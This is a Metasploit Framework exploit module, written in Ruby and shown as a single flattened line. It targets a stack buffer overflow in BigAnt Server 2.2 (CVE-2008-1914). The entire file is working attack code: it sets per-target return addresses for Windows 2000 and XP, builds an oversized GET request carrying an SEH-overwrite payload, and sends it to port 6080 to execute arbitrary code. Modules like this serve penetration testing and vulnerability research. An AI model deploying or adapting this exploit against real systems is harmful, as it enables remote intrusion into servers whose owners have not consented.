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## # $Id: bigant_server.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BigAnt Server 2.2 Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in BigAnt Server 2.2. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-1914' ], [ 'OSVDB', '44454' ], [ 'BID', '28795' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 750, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops'=>'True', }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2008')) register_options([Opt::RPORT(6080)], self.class) end def exploit connect sploit ="GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret) sploit << rand_text_alpha_upper(1024 - payload.encoded.length) print_status("Trying target #{target.name}...") sock.put(sploit + "\n\n") handler disconnect end end |
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